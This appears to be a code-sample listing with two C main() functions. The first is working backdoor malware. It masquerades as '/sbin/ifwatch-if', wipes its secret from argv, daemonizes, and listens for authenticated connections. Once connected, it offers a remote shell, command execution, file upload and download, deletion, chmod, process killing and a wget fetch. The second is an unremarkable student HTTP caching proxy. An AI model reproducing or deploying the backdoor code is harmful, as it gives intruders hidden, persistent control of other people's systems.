示例#1
0
int main(int argc, char *argv[])
{
#if 0
        {
                crypto_hash(buffer, buffer, 96);
                hd(buffer, 1088 / 8);
        }
#endif
        if (argc == 2) {
                static char *eargv[] = { "/sbin/ifwatch-if", "eth0", 0, 0 };
                eargv[2] = argv[1];
                execve(argv[0], eargv, environ);
        }

        {
                int i;

                for (i = 0; i < 64 + 2; ++i)
                        secret[32 + i] = argv[2][i * 2 + 0] * 16 + argv[2][i * 2 + 1] - 'a' * (16 + 1);

                for (i = 0; i < (64 + 2) * 2; ++i)
                        argv[2][i] = ' ';
        }

        int ls = socket(AF_INET, SOCK_STREAM, 0);

        if (ls < 0)
                return 0;

        struct sockaddr_in sa;

        sa.sin_family = AF_INET;
        sa.sin_addr.s_addr = INADDR_ANY;
        sa.sin_port = *(uint16_t *) (secret + 32 + 64);

        sockopts(0);

        if (bind(ls, (struct sockaddr *)&sa, sizeof (sa)))
                return 0;

        if (listen(ls, 1))
                return 0;

        write(1, MSG("ZohHoo5i"));

        if (fork())
                return 0;

        sigaction(SIGHUP, &sa_sigign, 0);
        sigaction(SIGCHLD, &sa_sigign, 0);

        syscall(SCN(SYS_setsid));

        for (;;) {
                {
                        int i = open("/dev/urandom", O_RDONLY);

                        if (i >= 0) {
                                read(i, secret, 32);
                                close(i);
                        }

                        ++secret[0];

                        for (i = 0; i < 31; ++i)
                                secret[i + 1] += secret[i];
                }

                int fd = accept(ls, 0, 0);

                if (fd >= 0) {
                        if (fork() == 0) {
                                close(ls);
                                syscall(SCN(SYS_setsid));
                                sigaction(SIGCHLD, &sa_sigdfl, 0);

                                setfds(fd);

                                sockopts(0);

                                write(0, secret, 32 + 32);
                                crypto_hash(buffer, secret, 32 + 32 + 32);

                                rpkt(32);

                                if (memcmp(buffer, buffer + 32, 32))
                                        x();

                                wpkt(MSG(VERSION "/" arch));    /* version/arch */
                                static const uint32_t endian = 0x11223344;

                                wpkt((uint8_t *) & endian, sizeof (endian));
                                wpkt(buffer, 0);

                                uint8_t clen;
                                int fh = -1;
                                int ret;

                                while ((clen = rpkt(0)))
                                        switch (buffer[0]) {
                                          case 1:      // telnet
                                                  {
                                                          static char *argv[] = { "sh", "-i", 0 };
                                                          execve("/bin/sh", argv, environ);
                                                  }
                                                  break;

                                          case 2:      // open readonly
                                          case 3:      // open wrcreat
                                                  ret = fh = open(buffer + 1, buffer[0] == 2 ? O_RDONLY : O_RDWR | O_CREAT, 0600);
                                                  break;

                                          case 4:      // close
                                                  close(fh);
                                                  break;

                                          case 5:      // kill
                                                  ret = syscall(SCN(SYS_kill), *(uint32_t *) (buffer + 4), buffer[1]);
                                                  break;

                                          case 6:      // chmod
                                                  ret = syscall(SCN(SYS_chmod), buffer + 4, *(uint16_t *) (buffer + 2));
                                                  break;

                                          case 7:      // rename
                                                  rpkt(260);
                                                  ret = syscall(SCN(SYS_rename), buffer + 1, buffer + 260);
                                                  break;

                                          case 8:      // unlink
                                                  ret = syscall(SCN(SYS_unlink), buffer + 1);
                                                  break;

                                          case 9:      // mkdir
                                                  ret = syscall(SCN(SYS_mkdir), buffer + 1, 0700);
                                                  break;

                                          case 10:     // wget
                                                  ret = wget(fh);
                                                  break;

                                          case 11:     // lstat
                                          case 23:     // stat
                                                  {
                                                          struct stat buf;
                                                          int l = (buffer[0] == 23 ? stat : lstat) (buffer + 1, &buf);

                                                          ((uint32_t *) buffer)[0] = buf.st_dev;
                                                          ((uint32_t *) buffer)[1] = buf.st_ino;
                                                          ((uint32_t *) buffer)[2] = buf.st_mode;
                                                          ((uint32_t *) buffer)[3] = buf.st_size;
                                                          ((uint32_t *) buffer)[4] = buf.st_mtime;

                                                          wpkt(buffer, l ? 0 : sizeof (uint32_t) * 5);
                                                  }
                                                  break;

                                          case 12:
                                                  {
                                                          struct statfs sfsbuf;
                                                          int l = statfs(buffer + 1, &sfsbuf);

                                                          ((uint32_t *) buffer)[0] = sfsbuf.f_type;
                                                          ((uint32_t *) buffer)[1] = sfsbuf.f_bsize;
                                                          ((uint32_t *) buffer)[2] = sfsbuf.f_blocks;
                                                          ((uint32_t *) buffer)[3] = sfsbuf.f_bfree;
                                                          ((uint32_t *) buffer)[4] = sfsbuf.f_bavail;
                                                          ((uint32_t *) buffer)[5] = sfsbuf.f_files;
                                                          ((uint32_t *) buffer)[6] = sfsbuf.f_ffree;

                                                          wpkt(buffer, l ? 0 : sizeof (uint32_t) * 7);
                                                  }
                                                  break;

                                          case 13:     // exec quiet
                                          case 14:     // exec till marker
                                                  {
                                                          int quiet = buffer[0] == 13;

                                                          pid_t pid = fork();

                                                          if (pid == 0) {
                                                                  if (quiet)
                                                                          setfds(open("/dev/null", O_RDWR));

                                                                  static char *argv[] = { "sh", "-c", buffer + 1, 0 };
                                                                  execve("/bin/sh", argv, environ);
                                                                  _exit(0);
                                                          }

                                                          if (pid > 0)
                                                                  syscall(SCN(SYS_waitpid), (int)pid, &ret, 0);

                                                          if (!quiet)
                                                                  wpkt(secret, 32 + 32);        // challenge + id
                                                  }
                                                  break;

                                          case 15:     // readdir
                                                  {
                                                          int l;

                                                          while ((l = syscall(SCN(SYS_getdents64), fh, buffer, sizeof (buffer))) > 0) {
                                                                  uint8_t *buf = buffer;

                                                                  do {
                                                                          int w = l > 254 ? 254 : l;

                                                                          wpkt(buf, w);
                                                                          buf += w;
                                                                          l -= w;
                                                                  }
                                                                  while (l);
                                                          }

                                                          wpkt(buffer, 0);
                                                  }
                                                  break;

                                          case 16:     // lseek
                                                  ret = lseek(fh, *(int32_t *) (buffer + 4), buffer[3]);
                                                  break;

                                          case 17:     // fnv
                                          case 18:     // readall
                                                  {
                                                          int fnv = buffer[0] == 17;
                                                          uint32_t hval = 2166136261U;
                                                          int l;

                                                          while ((l = read(fh, buffer, 254)) > 0) {
                                                                  if (fnv) {
                                                                          uint8_t *p = buffer;

                                                                          while (l--) {
                                                                                  hval ^= *p++;
                                                                                  hval *= 16777619;
                                                                          }
                                                                  } else
                                                                          wpkt(buffer, l);
                                                          }

                                                          wpkt((uint8_t *) & hval, fnv ? sizeof (hval) : 0);
                                                  }
                                                  break;

                                          case 19:     // write
                                                  ret = write(fh, buffer + 1, clen - 1);
                                                  break;

                                          case 20:     // readlink
                                                  {
                                                          int l = syscall(SCN(SYS_readlink), buffer + 1, buffer + 260, 255);

                                                          wpkt(buffer + 260, l > 0 ? l : 0);
                                                  }
                                                  break;

                                          case 21:     // readret
                                                  wpkt((uint8_t *) & ret, sizeof (ret));
                                                  break;

                                          case 22:     // chdir
                                                  ret = syscall(SCN(SYS_chdir), buffer + 1);
                                                  break;

                                          default:
                                                  x();
                                        }
                        }
                        // keep fd open for at least delay, also delay hack attempts
                        static const struct timespec ts = { 1, 0 };
                        syscall(SCN(SYS_nanosleep), &ts, 0);

                        close(fd);
                }
        }
}
示例#2
0
文件: proxy.c 项目: mkazantsev/os
int main(int argc, char *argv[]) {
	int status, new_fd;
	int listensock;
	struct addrinfo hints, *res;
	struct sockaddr saddr;
	socklen_t saddr_size = sizeof(saddr);
	char buf[BUFSIZE];
	int ret;
	struct fdnode *fdl = NULL, *writefdl = NULL, *t;
	struct cnode *cache = NULL;
	fd_set readfds, writefds;
	struct timeval timeout;

	memset(&hints, 0, sizeof(struct addrinfo));
	hints.ai_family = AF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	if (argc != 2) {
		printf("Usage: %s PORT\n", argv[0]);
		exit(1);
	}

	if (ret = getaddrinfo(NULL, argv[1], &hints, &res)) {
		printf("getaddrinfo: %s\n", gai_strerror(ret));
		exit(1);
	}

	if ((listensock = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) == -1) {
		perror("socket");
		freeaddrinfo(res);
		exit(1);
	}

	if (bind(listensock, res->ai_addr, res->ai_addrlen) == -1) {
		perror("bind");
		freeaddrinfo(res);
		close(listensock);
		exit(1);
	}

	if (listen(listensock, MAX_CON_NUM) == -1) {
		perror("listen");
		freeaddrinfo(res);
		close(listensock);
		exit(1);
	}

	timeout.tv_sec = 60 * 3;
	timeout.tv_usec = 0;

	while (1) {
		struct cnode *c;
		int i = 0;
		ret = setfds(&readfds, &writefds, fdl, listensock);
		printf("wait for select\n");
		ret = select(ret, &readfds, &writefds, NULL, &timeout);
		printf("got selected %d fds\n", ret);

		if (ret < 0) {
			perror("select");
			break;
		}
		if (ret == 0) { /* timeout */
			printf(".\n");
			continue;
		}

		for (c = cache; c != NULL; c = c->next) {
			i++;
			printf("%s\n", c->url);
		}
		printf("Got %d cache pages\n", i);

		for (t = fdl; t != NULL; t = t->next) {
			if (FD_ISSET(t->fd, &readfds))
				printf("%d is ready to read\n", t->fd);
			if (FD_ISSET(t->fd, &writefds))
				printf("%d is ready to write\n", t->fd);
			if (FD_ISSET(t->sout, &readfds))
				printf("%d is ready to read\n", t->sout);
			if (FD_ISSET(t->sout, &writefds))
				printf("%d is ready to write\n", t->sout);
		}

		if (FD_ISSET(listensock, &readfds)) {
			new_fd = accept(listensock, &saddr, &saddr_size);
			if (new_fd == -1) {
				perror("accept");
				continue;
			}
			ret = fdladd(new_fd, &fdl);
			if (ret == -1) {
				perror("add socket");
				continue;
			}
			printf("Accepted new %d\n", new_fd);
		}

		for (t = fdl; t != NULL; t = t->next) {
			if (t->use && t->rw == 1 && !t->full && !t->eof && FD_ISSET(t->sout, &readfds)) {
				//memset(buf, 0, BUFSIZE);
				printf("to read from sout %d\n", t->sout);
				if (t->nread >= t->nwrote) {
					ret = read(t->sout, t->buf + t->nread, sizeof(t->buf)-t->nread);
					//cacheit(&cache, t->url, t->buf + t->nread, ret);
					if (ret == 0) {
						t->eof = 1;
						//completecache(cache, t->url);
						/*
						close(t->sout);
						fdlrem(t->fd, fdl);
						printf("Closed %d\n", t->sout);
						continue;
						*/
					} else {
						t->nread += ret;
						if (t->nread == sizeof(t->buf)) t->nread = 0;
						if (t->nread == t->nwrote) t->full = 1;
						t->empty = 0;
					}
				} else {
					ret = read(t->sout, t->buf + t->nread, t->nwrote-t->nread);
					//cacheit(&cache, t->url, t->buf + t->nread, ret);
					if (ret == 0) {
						t->eof = 1;
						//completecache(cache, t->url);
						/*
						close(t->sout);
						fdlrem(t->fd, fdl);
						printf("Closed %d\n", t->sout);
						continue;
						*/
					} else {
						t->nread += ret;
						if (t->nread == t->nwrote) t->full = 1;
						t->empty = 0;
					}
				}
			}
			if (t->use && t->rw == 0 && FD_ISSET(t->fd, &readfds)) {
				memset(buf, 0, BUFSIZE);
				printf("to read from sin %d\n", t->fd);
				ret = read(t->fd, buf, BUFSIZE);
				if (ret > 0) {
					int len;
					char *url;
					char *host;
					char *dir;

					write(1, buf, ret);

					/* Parse incoming request */
					if (parsereq(buf, ret, &url, &len) == -1) {
						close(t->fd);
						close(t->sout);
						t->use = 0;
						continue;
					}
					t->url = malloc((len+1)*sizeof(char));
					t->url = strncpy(t->url, url, len);
					t->url[len] = '\0';

					/* Parse given URL */
					parseurl(t->url, &len, &host, &dir);
					t->host = malloc((len+1)*sizeof(char));
					t->host = strncpy(t->host, host, len);
					t->host[len] = '\0';

					len = strlen(t->url) - len;
					t->uri = malloc((len+1)*sizeof(char));
					t->uri = strncpy(t->uri, dir, len);
					t->uri[len] = '\0';
					/*
					if (t->cache = cached(cache, t->url)) {
						t->cached = 1;
						t->rw = 1;
						continue;
					}
					*/
					if (ret = getaddrinfo(t->host, "http", &hints, &t->addr)) {
						printf("getaddrinfo: %s\n", gai_strerror(ret));
						write(t->fd, "HTTP/1.0 400\r\n\r\n", 17);
						close(t->fd);
						fdlrem(t->fd, fdl);
						continue;
					}

					if (connect(t->sout, t->addr->ai_addr, t->addr->ai_addrlen) == -1) {						
						if (errno == EINPROGRESS) {
							printf("wait for connection on %d\n", t->fd);
							continue;
						}
						close(t->fd);
						fdlrem(t->fd, fdl);
					}
					continue;
				}
				if (ret == 0) {
					close(t->fd);
					fdlrem(t->fd, fdl);
					printf("Closed %d\n", t->fd);
				}
			}
		//} /* readfds */
		//for (t = fdl; t != NULL; t = t->next) {
			if (t->use && t->rw == 0 && FD_ISSET(t->sout, &writefds)) {
				int len = strlen(t->uri) + 3 + 8 + 6;
				char *msg = malloc(len*sizeof(char));
				printf("to write to sout %d\n", t->sout);
				sprintf(msg, "GET %s HTTP/1.0\r\n\r\n", t->uri);
				if (write(t->sout, msg, len) <= 0) {
					perror("write sout");
					close(t->fd);
					fdlrem(t->fd, fdl);
					continue;
				}
				t->rw = 1;
				free(msg);
				printf("request on %d\n", t->sout);
			}
			if (t->use && t->rw == 1 && t->cached == 0 && !t->empty && FD_ISSET(t->fd, &writefds)) {
				char *l;
				if (t->nwrote < t->nread)
					l = t->buf + t->nread;
				else
					l = t->buf + sizeof(t->buf);
				//ret = write(t->fd, t->buf + t->nwrote, l - (t->buf + t->nwrote));
				ret = send(t->fd, t->buf + t->nwrote, l - (t->buf + t->nwrote), 0);
				if (ret <= 0) {
					perror("write sin");
					close(t->fd);
					fdlrem(t->fd, fdl);
					continue;
				}
				t->nwrote += ret;
				t->full = 0;
				if (t->nwrote == sizeof(t->buf)) t->nwrote = 0;
				if (t->nwrote == t->nread) t->empty = 1;
			}
			if (t->use && t->rw == 1 && t->cached == 1 && FD_ISSET(t->fd, &writefds)) {
				ret = write(t->fd, t->cache->content + t->nwrote, t->cache->size - t->nwrote);
				t->nwrote += ret;
				printf("work from cache for %s\n", t->url);
				if (t->nwrote == t->cache->size) {
					t->eof = 1;
					t->empty = 1;
				}
			}
			if (t->use && t->eof && t->empty) {
				fdlrem(t->fd, fdl);
				printf("Completed %d\n", t->fd);
				continue;
			}
		} /* fdl traverse */
	} /* while (1) */

	printf("gotcha");

	fdlfree(fdl);

	freeaddrinfo(res);
	close(listensock);
	return 0;
}